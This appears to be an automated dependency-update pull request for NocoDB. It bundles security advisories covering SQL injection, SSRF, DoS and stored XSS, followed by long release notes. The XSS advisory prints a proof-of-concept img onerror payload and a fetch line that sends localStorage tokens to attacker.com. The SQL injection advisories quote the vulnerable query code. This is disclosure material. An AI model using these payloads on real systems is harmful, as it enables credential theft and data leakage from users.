NocoDB prior to 0.92.0 allows actors to insert large characters into the input field New Project on the create field, which can cause a Denial of Service (DoS) via a crafted HTTP request. Version 0.92.0 fixes this issue.
In NocoDB prior to 0.91.7, the SMTP plugin doesn't have verification or validation. This allows attackers to make requests to internal servers and read the contents.
By supplying a specially crafted payload to the given below parameter and endpoint, an attacker can inject arbitrary SQL queries to be executed. Since this is a blind SQL injections, an attacker may need to use time-based payloads which would include a function to delay execution for a given number of seconds. The response time indicates, whether the result of the query execution was true or false. Depending on the result, the HTTP response will be returned after a given number of seconds, indicating TRUE, or immediately, indicating FALSE. In that way, an attacker can reveal the data present in the database.
async triggerList(args: any = {}) {
const _func = this.triggerList.name;
const result = new Result();
log.api(`${_func}:args:`, args);
try {
args.databaseName = this.connectionConfig.connection.database;
const response = await this.sqlClient.raw(
`select *, name as trigger_name from sqlite_master where type = 'trigger' and tbl_name='${args.tn}';`,
);
[...]
An authenticated attacker with create access could conduct a SQL Injection attack on MySQL DB using unescaped table_name.
Details
SQL Injection vulnerability occurs in VitessClient.ts.
async columnList(args: any = {}) {
const func = this.columnList.name;
const result = new Result();
log.api(`${func}:args:`, args);
try {
args.databaseName = this.connectionConfig.connection.database;
const response = await this.sqlClient.raw(
`select *, table_name as tn from information_schema.columns where table_name = '${args.tn}' ORDER by ordinal_position`,
);
The variable ${args.tn} refers to the table name entered by the user.
A malicious attacker can escape the existing query by including a special character (') in the table name and insert and execute a new arbitrary SQL query.
Impact
This vulnerability may result in leakage of sensitive data in the database.
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T}
Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX)
Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims
Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
This PR contains the following updates:
^0.83.0
->^0.202.0
GitHub Vulnerability Alerts
CVE-2022-2079
Cross-site Scripting (XSS) - Stored in GitHub repository nocodb/nocodb prior to 0.91.9.
CVE-2022-2063
Improper Privilege Management in GitHub repository nocodb/nocodb prior to 0.91.8.
CVE-2022-2064
Insufficient Session Expiration in GitHub repository nocodb/nocodb prior to 0.91.9.
CVE-2022-3423
NocoDB prior to 0.92.0 allows actors to insert large characters into the input field
New Project
on the create field, which can cause a Denial of Service (DoS) via a crafted HTTP request. Version 0.92.0 fixes this issue.CVE-2022-2062
In NocoDB prior to 0.91.7, the SMTP plugin doesn't have verification or validation. This allows attackers to make requests to internal servers and read the contents.
CVE-2023-5104
Improper Input Validation in GitHub repository nocodb/nocodb prior to 0.96.0.
CVE-2023-43794
Summary
Nocodb contains SQL injection vulnerability, that allows an authenticated attacker with creator access to query the underlying database.
Product
nocodb/nocodb
Tested Version
0.109.2
Details
SQL injection in
SqliteClient.ts
(GHSL-2023-141
)By supplying a specially crafted payload to the given below parameter and endpoint, an attacker can inject arbitrary SQL queries to be executed. Since this is a blind SQL injections, an attacker may need to use time-based payloads which would include a function to delay execution for a given number of seconds. The response time indicates, whether the result of the query execution was true or false. Depending on the result, the HTTP response will be returned after a given number of seconds, indicating TRUE, or immediately, indicating FALSE. In that way, an attacker can reveal the data present in the database.
The
triggerList
method creates a SQL query using the user-controlledtable_name
parameter value from thetableCreate
endpoint.Impact
This issue may lead to
Information Disclosure
.Credit
This issue was discovered and reported by GHSL team member @sylwia-budzynska (Sylwia Budzynska).
Disclosure Policy
This report is subject to our coordinated disclosure policy.
CVE-2023-50718
Summary
An authenticated attacker with create access could conduct a SQL Injection attack on MySQL DB using unescaped table_name.
Details
SQL Injection vulnerability occurs in VitessClient.ts.
The variable ${args.tn} refers to the table name entered by the user. A malicious attacker can escape the existing query by including a special character (') in the table name and insert and execute a new arbitrary SQL query.
Impact
This vulnerability may result in leakage of sensitive data in the database.
CVE-2023-49781
Summary
A stored cross-site scripting vulnerability exists within the Formula virtual cell comments functionality.
Details
The nc-gui/components/virtual-cell/Formula.vue displays a v-html tag with the value of "urls" whose contents are processed by the function replaceUrlsWithLink(). This function recognizes the pattern URI::(XXX) and creates a hyperlink tag with href=XXX. However, it leaves all the other contents outside of the pattern URI::(XXX) unchanged, which makes the evil users can create a malicious table with a formula field whose payload is <img src=1 onerror="malicious javascripts"URI::(XXX). The evil users then can share this table with others by enabling public viewing and the victims who open the shared link can be attacked.
PoC
Step 1: Attacker login the nocodb and creates a table with two fields, "T" and "F". The type of field "T" is "SingleLineText", and the type of the "F" is "Fomula" with the formula content {T} Step 2: The attacker sets the contents of T using <img src=1 onerror=alert(localStorage.getItem('nocodb-gui-v2'))URI::(XXX) Step 3: The attacker clicks the "Share" button and enables public viewing, then copies the shared link and sends it to the victims Step 4: Any victims who open the shared link in their browsers will see the alert with their confidential tokens stored in localStorage
The attackers can use the fetch(http://attacker.com/?localStorage.getItem('nocodb-gui-v2')) to replace the alert and then steal the victims' credentials in their attacker.com website.
Impact
Stealing the credentials of NocoDB user that clicks the malicious link.
Release Notes
nocodb/nocodb (nocodb)
### [`v0.202.10`](https://togithub.com/nocodb/nocodb/releases/tag/0.202.10): : Bug Fix Release [Compare Source](https://togithub.com/nocodb/nocodb/compare/0.202.9...0.202.10) #### What's Changed - chore(renovate): Update dependency [@nuxt/image-edge](https://togithub.com/nuxt/image-edge) to v1.1.0-28355789.b3279fe by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7127](https://togithub.com/nocodb/nocodb/pull/7127) - docs: formula expansion as md sections by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7116](https://togithub.com/nocodb/nocodb/pull/7116) - fix : added tooltip for column fields by [@musharaf-nocodb](https://togithub.com/musharaf-nocodb) in [https://github.com/nocodb/nocodb/pull/7114](https://togithub.com/nocodb/nocodb/pull/7114) - fix: various leftover stuff by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7140](https://togithub.com/nocodb/nocodb/pull/7140) - fix: deprecate title length validator and use title on import editor by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7092](https://togithub.com/nocodb/nocodb/pull/7092) - fix: group by has many bt part by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7146](https://togithub.com/nocodb/nocodb/pull/7146) - fix: Added new join cloud btn by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7072](https://togithub.com/nocodb/nocodb/pull/7072) - feat: display as progress by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7138](https://togithub.com/nocodb/nocodb/pull/7138) - fix: Extract api token roles by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7169](https://togithub.com/nocodb/nocodb/pull/7169) - fix: filter mimetypes to preview in browser by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7162](https://togithub.com/nocodb/nocodb/pull/7162) - fix: use getSchema instead of validate for ajv by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7160](https://togithub.com/nocodb/nocodb/pull/7160) - fix: leftover issue with alternative clients by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7164](https://togithub.com/nocodb/nocodb/pull/7164) - fix: Missing values in LTAR columns by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7161](https://togithub.com/nocodb/nocodb/pull/7161) - fix(nc-gui): non-image attachments in shared form by [@wingkwong](https://togithub.com/wingkwong) in [https://github.com/nocodb/nocodb/pull/7177](https://togithub.com/nocodb/nocodb/pull/7177) - fix: while validating options check for option with wrapped in single quotes by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7170](https://togithub.com/nocodb/nocodb/pull/7170) - fix : fixed column syncing in useViewColumnsOrThrow hook by [@musharaf-nocodb](https://togithub.com/musharaf-nocodb) in [https://github.com/nocodb/nocodb/pull/7168](https://togithub.com/nocodb/nocodb/pull/7168) - fix : added showOnTruncateOnly prop in tooltip component by [@musharaf-nocodb](https://togithub.com/musharaf-nocodb) in [https://github.com/nocodb/nocodb/pull/7163](https://togithub.com/nocodb/nocodb/pull/7163) - Fix: Misc minor design changes by [@rameshmane7218](https://togithub.com/rameshmane7218) in [https://github.com/nocodb/nocodb/pull/7148](https://togithub.com/nocodb/nocodb/pull/7148) - Nc fix/rich text followup by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7175](https://togithub.com/nocodb/nocodb/pull/7175) - fix: Nested data apis(v2) permission issue by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7179](https://togithub.com/nocodb/nocodb/pull/7179) - feat: support yyyy-mm in Datepicker by [@wingkwong](https://togithub.com/wingkwong) in [https://github.com/nocodb/nocodb/pull/6870](https://togithub.com/nocodb/nocodb/pull/6870) - enhancement: rollup by [@wingkwong](https://togithub.com/wingkwong) in [https://github.com/nocodb/nocodb/pull/6853](https://togithub.com/nocodb/nocodb/pull/6853) - fix: exact date filter not working on datetime by [@DarkPhoenix2704](https://togithub.com/DarkPhoenix2704) in [https://github.com/nocodb/nocodb/pull/7189](https://togithub.com/nocodb/nocodb/pull/7189) - fix: Load userList only if allowed by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7194](https://togithub.com/nocodb/nocodb/pull/7194) - fix: Ignore throwing error in upgrader if error is index already exist by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7195](https://togithub.com/nocodb/nocodb/pull/7195) - fix: Escape single quote properly and when updating single select default value by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7197](https://togithub.com/nocodb/nocodb/pull/7197) - feat: paste option in cell right click context menu by [@rameshmane7218](https://togithub.com/rameshmane7218) in [https://github.com/nocodb/nocodb/pull/7207](https://togithub.com/nocodb/nocodb/pull/7207) - fix: UI/UX fixes [#7156](https://togithub.com/nocodb/nocodb/issues/7156) by [@rameshmane7218](https://togithub.com/rameshmane7218) in [https://github.com/nocodb/nocodb/pull/7173](https://togithub.com/nocodb/nocodb/pull/7173) - fix(nc-gui): add missing kanban clbk in expanded form by [@wingkwong](https://togithub.com/wingkwong) in [https://github.com/nocodb/nocodb/pull/7200](https://togithub.com/nocodb/nocodb/pull/7200) - fix: rename ncProjectId to ncBaseId by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7213](https://togithub.com/nocodb/nocodb/pull/7213) - fix: Avoid setting default value(LTAR/Links) when adding new row in grouped by table by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7208](https://togithub.com/nocodb/nocodb/pull/7208) - Fix/dropdown UI by [@musharaf-nocodb](https://togithub.com/musharaf-nocodb) in [https://github.com/nocodb/nocodb/pull/7181](https://togithub.com/nocodb/nocodb/pull/7181) #### π Closed Issues - \[**closed**] π Bug: Upgrade to 0.202.9 causes NocoDB to crash when visualizing a Grid View with Group By [#7205](https://togithub.com/nocodb/nocodb/issues/7205) - \[**ποΈ Status: In Resolution**] π Bug: Grid View - When adding a new Record with a Group By on the view, the field corresponding to the Group By remains empty [#7204](https://togithub.com/nocodb/nocodb/issues/7204) - \[**π Type: Bug**] π Bug: \[UX] Kanban View - When adding a record in a stack, the new record goes to (and stays in) the "Uncategorized" stack instead of its correct stack [#7198](https://togithub.com/nocodb/nocodb/issues/7198) - \[**Status: Reproducible**] π Bug: API v2 returning 403 in "GET link records list" and "POST link records" methods [#7174](https://togithub.com/nocodb/nocodb/issues/7174) - \[**closed**] π Bug: \[MySQL] unable to use set select field with single quotes as default value [#7171](https://togithub.com/nocodb/nocodb/issues/7171) - \[**closed**] π Bug: M2M tables without content after update [#7158](https://togithub.com/nocodb/nocodb/issues/7158) - \[**closed**] π¦ Feature: Switching among RTL form fields using tab button [#7157](https://togithub.com/nocodb/nocodb/issues/7157) - \[**closed**] π Bug: UI/UX fixes [#7156](https://togithub.com/nocodb/nocodb/issues/7156) - \[**π Type: Bug**] π Bug: failed to open / download non-image attachments in shared form [#7155](https://togithub.com/nocodb/nocodb/issues/7155) - \[**π Status: More Info Needed**] π Bug: Invalid path concatenated while installing nocodb-sdk [#7151](https://togithub.com/nocodb/nocodb/issues/7151) - \[**closed**] π Bug: invalid option error when inserting to single select column [#7149](https://togithub.com/nocodb/nocodb/issues/7149) - \[**closed**] π¦ Feature: When "grouping by", allow to select the number of elements to display [#7147](https://togithub.com/nocodb/nocodb/issues/7147) - \[**closed**] π Bug: Group-by for belongs-to field throws error [#7144](https://togithub.com/nocodb/nocodb/issues/7144) - \[**closed**] π Bug: API giving 403 after latest update [#7141](https://togithub.com/nocodb/nocodb/issues/7141) - \[**closed**] π Bug: Rename View In Dropdown menu [#7136](https://togithub.com/nocodb/nocodb/issues/7136) - \[**π©βπ¬ Status: In-Analysis**] π Bug: All the links have disappeared [#7125](https://togithub.com/nocodb/nocodb/issues/7125) - \[**closed**] π Bug: Not able to change body in webhook of nocodb cloud [#7118](https://togithub.com/nocodb/nocodb/issues/7118) - \[**Status: Reproducible**] π Bug: Fields are no longer displayed in full. [#7108](https://togithub.com/nocodb/nocodb/issues/7108) - \[**ποΈ Status: In Resolution**] π Bug: Unauthorized access when using API token in n8n node [#7084](https://togithub.com/nocodb/nocodb/issues/7084) - \[**closed**] π Bug: Rich text follow-ups [#7074](https://togithub.com/nocodb/nocodb/issues/7074) - \[**π£ Priority: Low**] π Bug: page reloads without any reason sometimes [#7033](https://togithub.com/nocodb/nocodb/issues/7033) - \[**closed**] π¦ Feature: display as progress bar for percent [#6973](https://togithub.com/nocodb/nocodb/issues/6973) - \[**closed**] π Bug: `NocoDB Cloud Available` [#6970](https://togithub.com/nocodb/nocodb/issues/6970) - \[**closed**] enhancement: rollup [#6852](https://togithub.com/nocodb/nocodb/issues/6852) - \[**closed**] π Bug: Deployment Failure when migrating from 0.111.1 to 0.202.5 (Railway) - "Migration from [`0108002`](https://togithub.com/nocodb/nocodb/commit/0108002) to [`0111002`](https://togithub.com/nocodb/nocodb/commit/0111002) failed", Relation aready exists [#6826](https://togithub.com/nocodb/nocodb/issues/6826) - \[**closed**] π¦ Feature: Support use of Rollup's with in formula [#6807](https://togithub.com/nocodb/nocodb/issues/6807) - \[**closed**] π Bug: Use `Rollup` `sum` for `duration` fieldοΌthe data display should also be `duration`, but it shows the number of seconds. [#6778](https://togithub.com/nocodb/nocodb/issues/6778) - \[**closed**] π¦ Feature: columnType Date Format : add YYYY-MM [#5199](https://togithub.com/nocodb/nocodb/issues/5199) #### New Contributors - [@musharaf-nocodb](https://togithub.com/musharaf-nocodb) made their first contribution in [https://github.com/nocodb/nocodb/pull/7114](https://togithub.com/nocodb/nocodb/pull/7114) - [@rameshmane7218](https://togithub.com/rameshmane7218) made their first contribution in [https://github.com/nocodb/nocodb/pull/7148](https://togithub.com/nocodb/nocodb/pull/7148) **Full Changelog**: https://github.com/nocodb/nocodb/compare/0.202.9...0.202.10 ### [`v0.202.9`](https://togithub.com/nocodb/nocodb/releases/tag/0.202.9): : Bug Fix Release [Compare Source](https://togithub.com/nocodb/nocodb/compare/0.202.8...0.202.9) #### π Closed Issues - \[**Status: Reproducible**] π Bug: Creating Link Between Records Via V2 API Throws Error [#7119](https://togithub.com/nocodb/nocodb/issues/7119) - \[**Status: Reproducible**] π Bug: Links and Link to another record API strange behavior [#7109](https://togithub.com/nocodb/nocodb/issues/7109) - \[**closed**] π Bug: Use ncRecordId with API [#7086](https://togithub.com/nocodb/nocodb/issues/7086) - \[**ποΈ Status: In Resolution**] π Bug: Unauthorized access when using API token in n8n node [#7084](https://togithub.com/nocodb/nocodb/issues/7084) - \[**closed**] π Bug: for viewer & commenter role, do not ask for `save changes` on closing expanded record [#7066](https://togithub.com/nocodb/nocodb/issues/7066) - \[**closed**] π Bug: Additional download menu displayed in toolbar for viewer & commenter role [#7065](https://togithub.com/nocodb/nocodb/issues/7065) - \[**Status: Reproducible**] π Bug: Hit delete key on formula focused textfield will remove the whole new field [#7050](https://togithub.com/nocodb/nocodb/issues/7050) - \[**closed**] π Bug: icons mapped at `Lookup > Child field` needs fix [#6989](https://togithub.com/nocodb/nocodb/issues/6989) - \[**Status: Reproducible**] π Bug: Lookup for barcode, qrcode displays only one image even if multiple links exist [#6988](https://togithub.com/nocodb/nocodb/issues/6988) - \[**Status: Reproducible**] π Bug: Error when creating lookup column [#6975](https://togithub.com/nocodb/nocodb/issues/6975) - \[**closed**] π Bug: grid skeleton loader UX & performance enhancements [#6961](https://togithub.com/nocodb/nocodb/issues/6961) - \[**closed**] π Bug: Locked view [#6934](https://togithub.com/nocodb/nocodb/issues/6934) - \[**closed**] π Bug: Expanded record, refresh formula field when associated field is updated & saved [#6931](https://togithub.com/nocodb/nocodb/issues/6931) - \[**closed**] π Bug: Webhook payload not escaped/formatted correctly [#6822](https://togithub.com/nocodb/nocodb/issues/6822) - \[**π¬ DB : MySQL**] π Bug: Add/Edit modal with MySQL [#6747](https://togithub.com/nocodb/nocodb/issues/6747) - \[**π Status: More Info Needed**] π Bug: Not getting correct response in webhook payload. [#6746](https://togithub.com/nocodb/nocodb/issues/6746) - \[**π£ Priority: Low**] π Bug: Auto increment field `ID` not ignored if sent in API payload [#5871](https://togithub.com/nocodb/nocodb/issues/5871) - \[**closed**] π Bug: Populating select values via the API doesn't fully work [#5492](https://togithub.com/nocodb/nocodb/issues/5492) - \[**π Type: Bug**]\[**ποΈ Status: In Resolution**] π Bug: Sort by Lookup column does not work [#2573](https://togithub.com/nocodb/nocodb/issues/2573) - \[**π¦ Type: Feature**]\[**π° Scope : Column**] Feature: Rich editor for multiline text [#298](https://togithub.com/nocodb/nocodb/issues/298) #### What's Changed - Release 0.202.8 by [@github-actions](https://togithub.com/github-actions) in [https://github.com/nocodb/nocodb/pull/7036](https://togithub.com/nocodb/nocodb/pull/7036) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7034](https://togithub.com/nocodb/nocodb/pull/7034) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7040](https://togithub.com/nocodb/nocodb/pull/7040) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7041](https://togithub.com/nocodb/nocodb/pull/7041) - fix: Fixed issue with Cell icon not taking column prop with column inβ¦ by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7048](https://togithub.com/nocodb/nocodb/pull/7048) - chore(renovate): Update dependency mysql2 to ^3.6.4 by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7047](https://togithub.com/nocodb/nocodb/pull/7047) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7052](https://togithub.com/nocodb/nocodb/pull/7052) - fix: Auto increment field ID not ignored if sent in API payload by [@aashishagrawall](https://togithub.com/aashishagrawall) in [https://github.com/nocodb/nocodb/pull/6878](https://togithub.com/nocodb/nocodb/pull/6878) - feat: Missing formula functions support by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7019](https://togithub.com/nocodb/nocodb/pull/7019) - fix: Fixed issue with formula not getting updated in expanded form onβ¦ by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7055](https://togithub.com/nocodb/nocodb/pull/7055) - fix: use json as default content type for webhooks by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7056](https://togithub.com/nocodb/nocodb/pull/7056) - fix: delete for formula in fields menu by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7062](https://togithub.com/nocodb/nocodb/pull/7062) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7059](https://togithub.com/nocodb/nocodb/pull/7059) - chore: bump axios version by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/6949](https://togithub.com/nocodb/nocodb/pull/6949) - Nc fix/skelton fix by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7063](https://togithub.com/nocodb/nocodb/pull/7063) - Locked mode by [@mustafapc19](https://togithub.com/mustafapc19) in [https://github.com/nocodb/nocodb/pull/7067](https://togithub.com/nocodb/nocodb/pull/7067) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7057](https://togithub.com/nocodb/nocodb/pull/7057) - fix: augment #app rather than #app/nuxt by [@danielroe](https://togithub.com/danielroe) in [https://github.com/nocodb/nocodb/pull/7064](https://togithub.com/nocodb/nocodb/pull/7064) - fix: Update acl.ts to allow editor to import excel files by [@cedstrom](https://togithub.com/cedstrom) in [https://github.com/nocodb/nocodb/pull/7043](https://togithub.com/nocodb/nocodb/pull/7043) - Miscellaneous bug fixes/enhancements by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7054](https://togithub.com/nocodb/nocodb/pull/7054) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7069](https://togithub.com/nocodb/nocodb/pull/7069) - Rich text long text by [@mustafapc19](https://togithub.com/mustafapc19) in [https://github.com/nocodb/nocodb/pull/7046](https://togithub.com/nocodb/nocodb/pull/7046) - feat: id instead title in queries by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7060](https://togithub.com/nocodb/nocodb/pull/7060) - fix: various at-import issues by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7076](https://togithub.com/nocodb/nocodb/pull/7076) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7081](https://togithub.com/nocodb/nocodb/pull/7081) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7082](https://togithub.com/nocodb/nocodb/pull/7082) - Subtle update to spanish.md by [@Scalcaneo](https://togithub.com/Scalcaneo) in [https://github.com/nocodb/nocodb/pull/7088](https://togithub.com/nocodb/nocodb/pull/7088) - Nc fix/misc 3 by [@dstala](https://togithub.com/dstala) in [https://github.com/nocodb/nocodb/pull/7089](https://togithub.com/nocodb/nocodb/pull/7089) - Remove signup link from signup page if invite only signup enabled by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7044](https://togithub.com/nocodb/nocodb/pull/7044) - fix: Validate select options before insert by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7070](https://togithub.com/nocodb/nocodb/pull/7070) - fix: use getWithRoles for auth token strategy by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7083](https://togithub.com/nocodb/nocodb/pull/7083) - chore(renovate): Update dependency [@vue/compiler-sfc](https://togithub.com/vue/compiler-sfc) to ^3.3.9 by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7093](https://togithub.com/nocodb/nocodb/pull/7093) - fix: use title instead of id while substituting by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7094](https://togithub.com/nocodb/nocodb/pull/7094) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7097](https://togithub.com/nocodb/nocodb/pull/7097) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7098](https://togithub.com/nocodb/nocodb/pull/7098) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7101](https://togithub.com/nocodb/nocodb/pull/7101) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7104](https://togithub.com/nocodb/nocodb/pull/7104) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7102](https://togithub.com/nocodb/nocodb/pull/7102) - Fixed skelton loading issue by [@mustafapc19](https://togithub.com/mustafapc19) in [https://github.com/nocodb/nocodb/pull/7105](https://togithub.com/nocodb/nocodb/pull/7105) - fix: Render label span only if default slot is defined by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7106](https://togithub.com/nocodb/nocodb/pull/7106) - chore(renovate): Update patch (patch) by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/7110](https://togithub.com/nocodb/nocodb/pull/7110) - New Crowdin updates by [@o1lab](https://togithub.com/o1lab) in [https://github.com/nocodb/nocodb/pull/7107](https://togithub.com/nocodb/nocodb/pull/7107) - fix: Fields query param - virtual column by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7111](https://togithub.com/nocodb/nocodb/pull/7111) - fix: Extract row id value using title by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7120](https://togithub.com/nocodb/nocodb/pull/7120) - 0.202.9 Pre-release by [@github-actions](https://togithub.com/github-actions) in [https://github.com/nocodb/nocodb/pull/7121](https://togithub.com/nocodb/nocodb/pull/7121) #### New Contributors - [@aashishagrawall](https://togithub.com/aashishagrawall) made their first contribution in [https://github.com/nocodb/nocodb/pull/6878](https://togithub.com/nocodb/nocodb/pull/6878) - [@cedstrom](https://togithub.com/cedstrom) made their first contribution in [https://github.com/nocodb/nocodb/pull/7043](https://togithub.com/nocodb/nocodb/pull/7043) - [@Scalcaneo](https://togithub.com/Scalcaneo) made their first contribution in [https://github.com/nocodb/nocodb/pull/7088](https://togithub.com/nocodb/nocodb/pull/7088) **Full Changelog**: https://github.com/nocodb/nocodb/compare/0.202.8...0.202.9 ### [`v0.202.8`](https://togithub.com/nocodb/nocodb/releases/tag/0.202.8): : Bug Fix Release [Compare Source](https://togithub.com/nocodb/nocodb/compare/0.202.7...0.202.8) #### π Closed Issues - \[**closed**] π Bug: error when filtering by lookup field that is Link in the parent table. [#7027](https://togithub.com/nocodb/nocodb/issues/7027) - \[**closed**] π Bug: API V2 Update API /rowid is missing [#7021](https://togithub.com/nocodb/nocodb/issues/7021) - \[**π Type: Bug**] π Bug: Api linked fields duplicated [#7020](https://togithub.com/nocodb/nocodb/issues/7020) - \[**π Type: Bug**] π Bug: Import excel throw 42701 Error [#6998](https://togithub.com/nocodb/nocodb/issues/6998) - \[**closed**] π Bug: Uniform error in API v2 [#6986](https://togithub.com/nocodb/nocodb/issues/6986) - \[**Status: Reproducible**] π Bug: import file content title not support unicode eg.(emojiπ₯, Chinese) [#6959](https://togithub.com/nocodb/nocodb/issues/6959) - \[**closed**] Runtime directive used on component with non-element root node. The directives will not function as intended. [#6952](https://togithub.com/nocodb/nocodb/issues/6952) - \[**closed**] π Bug: multi fields editor, field type icons displayed are incorrect [#6946](https://togithub.com/nocodb/nocodb/issues/6946) - \[**closed**] π Bug: Migration directory is corrupt [#6936](https://togithub.com/nocodb/nocodb/issues/6936) - \[**closed**] Connect New Data Source [#6913](https://togithub.com/nocodb/nocodb/issues/6913) - \[**closed**] π Bug: view context menu to include download CSV & upload CSV options [#6857](https://togithub.com/nocodb/nocodb/issues/6857) - \[**closed**] π Bug: API LINK RECORDS ENDPOINT NOT WORKING. [#6823](https://togithub.com/nocodb/nocodb/issues/6823) - \[**closed**] π Bug: Default View not showing if you moved it to other row in past version [#6798](https://togithub.com/nocodb/nocodb/issues/6798) - \[**closed**] π¦ Feature: Allow grouping by more column types [#6247](https://togithub.com/nocodb/nocodb/issues/6247) - \[**π Status: More Info Needed**] π Bug: Failure to duplicate project/table [#5788](https://togithub.com/nocodb/nocodb/issues/5788) #### What's Changed - Release 0.202.7 by [@github-actions](https://togithub.com/github-actions) in [https://github.com/nocodb/nocodb/pull/7008](https://togithub.com/nocodb/nocodb/pull/7008) - Fix GitHub casing in Translation page by [@varghesejose2020](https://togithub.com/varghesejose2020) in [https://github.com/nocodb/nocodb/pull/7009](https://togithub.com/nocodb/nocodb/pull/7009) - chore(deps-dev): bump sharp from 0.32.5 to 0.32.6 by [@dependabot](https://togithub.com/dependabot) in [https://github.com/nocodb/nocodb/pull/7011](https://togithub.com/nocodb/nocodb/pull/7011) - chore(renovate): Security update Update dependency passport to ^0.6.0 \[SECURITY] by [@renovate](https://togithub.com/renovate) in [https://github.com/nocodb/nocodb/pull/6995](https://togithub.com/nocodb/nocodb/pull/6995) - Korean enum Language correction by [@bsy0317](https://togithub.com/bsy0317) in [https://github.com/nocodb/nocodb/pull/7014](https://togithub.com/nocodb/nocodb/pull/7014) - fix: New data api(v2) insert method bug by [@pranavxc](https://togithub.com/pranavxc) in [https://github.com/nocodb/nocodb/pull/7015](https://togithub.com/nocodb/nocodb/pull/7015) - fix(s3): use stream to upload via url by [@mertmit](https://togithub.com/mertmit) in [https://github.com/nocodb/nocodb/pull/7018](https://togithub.com/nocodb/nocodb/pull/7018) - chore(deps): bump sharp and [@docusaurus/plugin-ideal-image](https://togithub.com/docusaurus/plugin-ideal-image) in /packages/noco-docs by [@dependabot](https://togithub.com/dependabot) in [https://github.com/nocodb/nocodb/pull/7010](https://togithub.com/nocodb/nocodb/pull/7010) - Fix GitHub Casing issue in 060.builds-and-releases.md by [@varghesejose2020](https://togithub.com/varghesejose2020) in [https://github.com/nocodb/nocodb/pull/7024](https://togithub.com/nocodb/nocodb/pull/7024) - refactor: Uniform error message by 